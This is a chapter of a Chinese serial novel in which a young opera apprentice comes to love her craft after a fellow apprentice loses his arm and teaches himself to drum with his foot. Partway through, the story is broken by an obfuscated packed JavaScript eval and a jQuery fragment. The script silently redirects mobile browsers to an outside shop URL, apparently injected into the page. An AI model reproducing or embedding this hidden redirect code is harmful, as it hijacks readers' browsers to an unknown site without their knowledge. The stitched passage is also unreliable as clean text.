六年的时间，足够让一个水灵灵的黄毛丫头，长成一个亭亭玉立的大姑娘。
今越十九岁了。
她在焦家班待了整整六年，从十三岁到十九岁，从一个懵懵懂懂的小姑娘，长成了一个身段婀娜、眉眼如画的妙龄女子。
这六年里，她的个子蹿高了一大截，原先那些破旧的衣裳早就穿不下了，刘嫂给她改了几件谭金玉不要的旧衣裳，虽然宽宽大大的不太合身，可穿在她身上，反倒显出几分慵懒的美来。
她的五官也长开了，原先就精致的眉眼如今更是出挑，一双杏眼又亮又润，像是含着一汪清泉，眼波流转间自带一股风流韵致。
皮肤白嫩得像剥了壳的鸡蛋，身段更是没得说，腰肢纤细，步履轻盈，走起路来像一阵风，又像一朵云。
焦九斤有时候看着她练功，会忍不住在心里感叹：这丫头要是扮上相往台上一站，不知道要迷倒多少人。
可他就是不让她上台。
六年来，今越一次台都没上过。
戏班子每年都有演出，逢年过节、红白喜事，大大小小的场子接了无数。谭金玉是铁打的台柱子，场场不落。
刘嫂偶尔也上去唱两段老旦。小林拉二胡，大牛敲锣，各有各的位置。
唯独今越，永远是坐在后台，帮忙递道具、整理戏服、给演员们端茶递水。
她不是没争取过。头两年，她隔三差五就去缠焦九斤：“师父，让我上一次台吧，就一次！我保证不给你丢人！”
焦九斤的回答永远只有一个字：“不。”
“为什么呀？”今越急了，“我练了这么多年了，基本功也扎实了，唱得也比以前好多了，为什么就是不让我上台？”
焦九斤抽着旱烟，慢悠悠地说：“你觉得你行了？”
“我觉得我行！”
“你觉得不行。”焦九斤磕了磕烟袋锅子，“等你什么时候觉得你自己不行了，你就能上台了。”
今越被他这句绕口令似的话弄得一头雾水，气鼓鼓地走了。
她不懂师父是什么意思，只觉得他是故意刁难自己。
后来她也不问了，可心里一直憋着一股劲儿。
她练功比以前更刻苦了，天不亮就起来，练到天黑才收工。
她想着，只要自己练得足够好，师父总有一天会让她上台的。
可一年又一年过去了，师父始终没有松口。
今越有时候会想，师父是不是根本就不打算让她上台？是不是觉得她永远都不够格？她心里委屈，可她不敢问，怕得到的答案是自己不想听的。
这天下午，今越正在院子里练水袖，忽然听见外头一阵嘈杂的声音，夹杂着哭喊声和惊呼声。
她停下动作，疑惑地往门口看去，只见大牛慌慌张张地跑进来，脸色煞白，上气不接下气地喊道：“不、不好了！小林出事了！”
今越心里猛地一沉。
小林是在山上放羊的时候出事的。镇子后面那座山不高，可坡陡路滑，碎石遍布。
小林赶着几只羊上山吃草，一脚踩空，从山坡上滚了下来，摔断了右胳膊。
等今越跟着焦九斤赶到镇上的卫生院时，她看见了一辈子都忘不了的一幕。
小林躺在病床上，右臂以一种不自然的角度垂着，袖子已经被剪开了，露出来的小臂肿胀变形，皮肤青紫，看着触目惊心。
他的脸上全是泪水和泥土混合的污渍，嘴唇在不停地哆嗦，可他没有哭出声来，只是死死地咬着牙，眼睛直勾勾地盯着天花板。
大夫把焦九斤拉到一边，低声说了几句话。焦九斤的脸色一下子变得惨白，身子晃了晃，扶着墙才站稳。
今越隐约听见了几个字，“粉碎性骨折”“保不住了”“截肢”。
她的脑子里“嗡”的一声，像是被人狠狠敲了一棍子。
截肢。
小林是拉二胡的。他的右手就是他的命。如果没有了右手，他还怎么拉二胡？他还怎么在戏班子里待下去？
小林显然也听见了大夫的话。他忽然从床上坐起来，用一种近乎癫狂的声音喊道：“不！我不截！我不截！我的胳膊还要拉二胡呢！我不能没有胳膊！我不截！！”
他挣扎着要下床，被大牛和另一个师兄死死按住。
他拼命地挣扎，像一头被困在陷阱里的野兽，嘶吼着，咆哮着，眼泪和鼻涕糊了一脸。
“我的胳膊！把我的胳膊还给我！我还要拉二胡呢！我没了胳膊还怎么拉二胡啊！！！”
他的声音越来越凄厉，到最后变成了一种近乎崩溃的哀嚎，像一把钝刀子，一刀一刀地割在在场所有人的心上。
今越站在门口，手脚冰凉。
她看着小林那张扭曲的脸，看着他那条已经废了的胳膊和他那副绝望到极点的模样，心里像是被什么东西狠狠地揪住了。
她和小林不算亲近，甚至可以说关系平平。
她刚来戏班子的时候，小林还跟着大牛一起笑话过她。
可此刻，看着他这副样子，她只觉得胸口堵得慌，喘不上气来。
她来戏班子的第二年秋天。有一天晚上，她睡不着，起来上厕所，路过院子的时候，听见角落里传来一阵二胡声。
她好奇地走过去，看见小林一个人坐在月光下，闭着眼睛，拉着一段她从来没听过的曲子。
那曲子很忧伤，像是有人在哭，又像是在诉说一件很遥远的事情。
小林拉得很投入，整个人都沉浸在那段旋律里，连她走近了都没有察觉。
她站在阴影里，听完了整首曲子。她没有出声，悄悄地走了。
那时候她不懂，为什么小林要大半夜的不睡觉，一个人躲在角落里拉二胡。
现在她忽然明白了。
因为喜欢。因为真的喜欢。
那种喜欢，不是她这种“学门手艺将来好吃饭”的喜欢，而是从骨子里透出来的，刻在灵魂里的，一辈子都放不下的喜欢。
二胡对小林来说，不只是吃饭的工具，是他活着的意义。
而现在，他的意义没有了。
三天后，小林被送回了老家。
他的右臂从肘部以下截掉了，空荡荡的袖管在风中飘着，看着让人心酸。
他走的时候没有哭，也没有闹，只是安安静静地坐在板车上，眼睛望着远方，不知道在看什么。
今越站在门口，看着板车越走越远，心里说不出的难受。
焦九斤站在她旁边，抽着旱烟，一言不发。他的眼睛红红的，可他忍着没让眼泪掉下来。
“师父，”今越开口了，声音有些沙哑，“小林师兄回去以后……还能干什么呢？”
焦九斤沉默了很久，才说了一句：“不知道。”
今越没有再问了。
她以为这就是故事的结局了。小林回了老家，从此与戏班子再无瓜葛，成为一个活在过去的传说里的名字。
戏班子还会有新的二胡手，日子还会继续过下去，就像什么都没有发生过一样。
可她错了。
两个月后的一天傍晚，戏班子收到了一个从小林老家寄来的包裹。
包裹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913482|213230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是用粗布包着的，层层叠叠地裹了好几层，拆开以后，里面是一封信和一个小木盒子。
信是小林写的，字迹歪歪扭扭的，像是用左手写的，笔画粗细不均，有些地方还被泪水洇花了。
信上说：
“师父，我在老家一切都好，你们不用担心。我回去以后想了很久，觉得自己不能就这么算了。我虽然没了右手，可我还有左脚。”
“我这段时间试着用脚练打鼓，一开始不行，老是夹不住鼓槌，练了半个月，总算能敲出点儿样子了。”
“我让人给我做了一副架子，把鼓固定在架子上，我用脚踩着打。虽然比不上手灵活，可好歹能出声了。”
“我知道自己这辈子可能再也拉不了二胡了，可我不想离开戏。我离不开戏。师父，等我再练练，练好了，我就回去找你们。你们别不要我。”
焦九斤读完信，手抖得几乎拿不住那张纸。
他转过身，假装在看墙上的什么东西，可所有人都看见，他的肩膀在微微颤抖。
今越站在一旁，整个人像是被雷击中了一样，呆在原地，久久没有动弹。
她拿起那个小木盒子，打开一看，里面是一副崭新的鼓槌，打磨得光滑锃亮，握柄处细细地缠着防滑的布条。
盒底还压着一张纸条，上面写着：“这是我用左手做的，做得不好看，可好用。送给戏班子。”
今越捧着那副鼓槌，忽然觉得鼻子一酸，眼泪毫无征兆地掉了下来。
她哭，不是因为难过，而是因为她忽然发现了一件她从来不曾理解过的事情。
这六年来，她学戏，练功，吃苦，挨打，她以为自己已经很努力了。
可她心里始终有一个念头，这是一门手艺，学会了以后能吃饭，能活下去。
她从来没有想过，戏还可以是别的东西。
可小林告诉她，戏可以是命。
一个人，没了胳膊，就用脚练。
练到脚磨破了皮，练到脚趾头流血，练到能在鼓面上敲出第一个完整的节拍。
不是为了吃饭，不是为了活下去，只是因为放不下。
只是因为那是他这辈子最喜欢的事情。
今越捧着那副鼓槌，哭了很久。
她刚来戏班子的时候，她一心想逃跑，被迫学戏的时候，她满心不情愿，后来虽然认真练了，可心里始终存着一份“这是饭碗”的算计。
她从来没有像小林那样，纯粹地不计代价地热爱过一件事情。
她忽然觉得很羞愧。
那天晚上，今越一个人坐在戏台上，抱着那副鼓槌，想了很久很久。
月亮升起来了，银白色的月光洒在空荡荡的戏台上，微风拂过，吹动了她额前的碎发。
她抬起头，看着头顶那块写着“焦家班”的褪色匾额，心里忽然涌起一种从未有过的感觉。
她想唱戏。
不是因为有口饭吃，不是因为答应了师父，不是因为无处可去。
只是因为——她想唱。
她想站在台上，穿上戏服，画上妆容，把那些古老的，动人的故事，唱给台下的人听。
她想让那些故事活过来，想让那些人物从纸上走下来，想让那些悲欢离合在锣鼓声中重新上演。
她想让师父为她骄傲。
她想让小林的鼓槌，能为她敲响。
她低下头，看着手里的鼓槌，轻轻地摩挲着光滑的木柄，低声说了一句：“小林师兄，你放心。我一定好好唱。连你的那份一起。”
夜风温柔，像是在回应她。